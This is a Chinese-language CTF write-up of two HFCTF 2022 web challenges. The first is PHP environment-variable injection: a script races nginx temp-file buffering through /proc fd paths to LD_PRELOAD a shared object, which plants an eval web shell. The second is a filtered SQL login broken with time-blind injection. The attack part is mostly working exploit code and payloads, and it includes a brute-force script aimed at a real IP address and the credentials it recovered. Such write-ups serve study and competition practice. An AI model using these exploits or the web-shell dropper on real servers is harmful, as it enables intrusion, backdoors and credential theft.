[HFCTF 2022]两道web题目wp

ezphp

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

看到这段代码不难联想到P神的博客 我是如何利用环境变量注入执行任意命令

题目给了一个docker用于本地搭建环境,可以发现题目用的系统环境为debian。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash。

由于p神在文章中探究的解决方法是基于centos的,该题目环境下无法使用,我们需要审计dash源码来寻找解决方案。那么有没有其他思路呢?

我们知道在有上传点的情况下,可以通过上传一个恶意so文件再通过LD_PRELOAD=/var/www/html/uploads/shell.so的方式劫持并执行任意代码,显然题目并没有直接的上传点,那我们是否可以通过putenv去包含一个临时文件执行命令呢?

显然是可以的,在陆队的博客 hxp CTF 2021 - A New Novel LFI中提到了 /var/lib/nginx/body 临时文件的利用,由于PHP通常通过PHP-FPM和Nginx部署,nginx提供了一个容易被忽视的机制client body buffering。在官方文档 client_body_buffer_size中:

image-20220327232649228

当nginx接受的请求的body大于buffer的时候,会先将body存缓存文件中,防止内存不够。如果 Nginx 以与 PHP 相同的用户身份运行(通常以 www-data 的形式运行),则该机制可以通过临时文件来LFI。

查看一下nginx源码 ngx_open_tempfile 函数:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

可以看到临时文件一经创建就会被删除,我们该如何进行包含呢?

On Linux, the set of file descriptors open in a process can be accessed under the path /proc/PID/fd/, where PID is the process identifier.

如果一个进程打开了某个文件同时在没有被关闭的情况下就被删除了,那么这个文件就会出现在 /proc/PID/fd/目录下。也就是说nginx在代码上生成后是直接删除的,但是buffer还在慢慢追加文件,等文件完整了才会彻底消失,因此产生了fd文件,让我们可以在这段时间内进行利用。

exp:

import  threading, requests
import sys
URL2 = sys.argv[1]
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False


def uploader():
    print('[+] starting uploader')
    with open("exp.so","rb") as f:
        data = f.read()
    while not done:
        requests.get(URL2, data=data)
for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()
def bruter(pid):
    global done
    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            try:
                requests.get(URL2, params={
                    'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
                })
            except:
                pass


for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

恶意so文件

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
} 

之后编译一下

gcc -shared -fPIC exp.c -o exp.so

Babysql

image-20220328195204419

提示hint.md

CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}

给出了过滤函数和SQL查询逻辑,这里过滤了union无法使用联合查询,我们使用时间盲注,利用case when构造查询语句

  1. 利用了mysql的短路特性 ~0+1 会报错溢出
  2. mysql8特性利用regexp区分大小写

image-20220328125146624

由于 binary 被过滤了,这里利用字符集进行处理,SQL 语句设置的字符集会优先于表的字符集,所以这里可以是设置 COLLATE utf8mb4_0900_bin 用于字符大小写判断

exp:

import requests
payload="1'||case'1'when`username`like'{}%'collate'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0"
#payload="1'||case'1'when`password`regexp'^{}'collate'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0"
list = string.ascii_letters + string.digits + '^$!_%@&'
url = 'http://1.117.171.248:3000/login'
j=''
while 1: 
    for i in list: 
        now_payload=payload.format(j+i)
        date={
        'password': 'qaq',
        'username': now_payload 
        }
        re = requests.post(url,data=date).text
        if '401' in re: 
            j+=i
            #print(nplayload)
            print(j)
            break 

#username:QaY8TeFYzC67aeoO
#password:m52FPlDxYyLB^eIzAr!8gxh$

image-20220328195513363

参考:

https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8FLD_PRELOAD%E6%9D%A5%E7%BB%95%E8%BF%87php%20disable_function%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4.html

https://tttang.com/archive/1384/

https://harvey.plus/2022/03/20/2022HFCTF/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值